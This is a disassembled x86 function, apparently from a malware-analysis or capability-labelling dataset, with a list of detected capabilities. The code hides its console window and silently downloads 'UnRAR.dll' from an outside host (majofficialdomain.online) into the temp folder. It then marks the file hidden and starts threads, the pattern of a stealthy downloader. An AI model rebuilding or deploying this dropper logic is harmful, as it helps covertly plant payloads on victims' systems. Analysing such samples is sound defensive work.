Function at 0x404180
Capabilities:
Create thread
Download url
Get common file path
Hide graphical window
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45bce2
mov eax, dword fs:[0]
push eax
sub esp, 0x378
mov eax, dword [0x478080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x104
lea eax, [ebp - 0x31c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x31c]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
lea ecx, [ebp - 0x384]
push 0
push esi
call fcn.004049a0
push 0
push 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x380]
cmp dword [ebp - 0x36c], 0xf
lea eax, [ebp - 0x31c]
push esi
cmova ecx, dword [ebp - 0x380]
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x4042b9
push str.UnRAR.dll
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.0042a640
add esp, 0xc
lea eax, [ebp - 0x114]
push 0
push 0
push eax
push str.https:__majofficialdomain.online_stub_UnRAR.dll
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x4042b2
push 2
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, str.downlad_on:
mov ecx, 0x479270
call fcn.00406f60
lea edx, [ebp - 0x114]
jmp 0x4042c3
mov edx, str.Error_donload.
jmp 0x4042be
mov edx, str.Error_getting_directory.
mov eax, 0x479428
mov ecx, eax
call fcn.00406f60
push eax
call fcn.00407200
call fcn.00404590
mov byte [ebp - 4], 1
xorps xmm0, xmm0
push 8
mov dword [ebp - 0x368], 0
movups xmmword [ebp - 0x364], xmm0
mov dword [ebp - 0x354], 0
mov dword [ebp - 0x350], 0
call fcn.00411450
lea ecx, [ebp - 0x368]
mov dword [eax + 4], 0
mov dword [ebp - 0x368], eax
mov dword [eax], ecx
mov dword [ebp - 0x354], 0
mov dword [ebp - 0x350], 0xf
mov byte [ebp - 0x364], 0
mov byte [ebp - 4], 3
xorps xmm0, xmm0
push 8
mov dword [ebp - 0x34c], 0
movups xmmword [ebp - 0x348], xmm0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x334], 0
call fcn.00411450
lea ecx, [ebp - 0x34c]
mov dword [eax + 4], 0
mov dword [ebp - 0x34c], eax
mov dword [eax], ecx
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x334], 0xf
mov byte [ebp - 0x348], 0
push 4
mov byte [ebp - 4], 4
call fcn.00411450
lea ecx, [ebp - 0x368]
mov dword [ebp - 0x330], eax
mov dword [eax], ecx
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 5
push ecx
push 0
push eax
push 0x409130
push 0
push 0
call fcn.0041a2d0
add esp, 0x24
mov dword [ebp - 0x324], eax
test eax, eax
je 0x40454c
push 4
mov byte [ebp - 4], 6
call fcn.00411450
lea ecx, [ebp - 0x34c]
mov dword [ebp - 0x330], eax
mov dword [eax], ecx
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 7
push ecx
push 0
push eax
push 0x4091e0
push 0
push 0
call fcn.0041a2d0
add esp, 0x1c
mov dword [ebp - 0x32c], eax
test eax, eax
je 0x404577
mov byte [ebp - 4], 8
cmp dword [ebp - 0x320], 0
je 0x404570
call fcn.0040fea0
mov ecx, dword [ebp - 0x320]
cmp ecx, eax
je 0x404569
push 0
push ecx
push dword [ebp - 0x324]
call fcn.0040feb0
add esp, 0xc
test eax, eax
jne 0x404562
xorps xmm0, xmm0
movlpd qword [ebp - 0x324], xmm0
cmp dword [ebp - 0x328], eax
je 0x404570
call fcn.0040fea0
mov ecx, dword [ebp - 0x328]
cmp ecx, eax
je 0x404569
push 0
push ecx
push dword [ebp - 0x32c]
call fcn.0040feb0
add esp, 0xc
test eax, eax
jne 0x404562
xorps xmm0, xmm0
movlpd qword [ebp - 0x32c], xmm0
cmp dword [ebp - 0x320], eax
jne 0x40455d
lea ecx, [ebp - 0x34c]
call fcn.00405900
mov eax, dword [ebp - 0x34c]
push 8
push eax
mov dword [ebp - 0x34c], 0
call fcn.00411200
add esp, 8
lea ecx, [ebp - 0x368]
call fcn.00405900
mov eax, dword [ebp - 0x368]
push 8
push eax
mov dword [ebp - 0x368], 0
call fcn.00411200
add esp, 8
lea ecx, [ebp - 0x384]
call fcn.00405900
mov eax, dword [ebp - 0x384]
push 8
push eax
mov dword [ebp - 0x384], 0
call fcn.00411200
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004111f0
mov esp, ebp
pop ebp
ret
push 6
mov dword [ebp - 0x320], 0
call fcn.004097b0
call fcn.00427fc0
push 2
call fcn.004097b0
push 5
call fcn.004097b0
push 1
call fcn.004097b0
push 6
mov dword [ebp - 0x328], 0
call fcn.004097b0
int3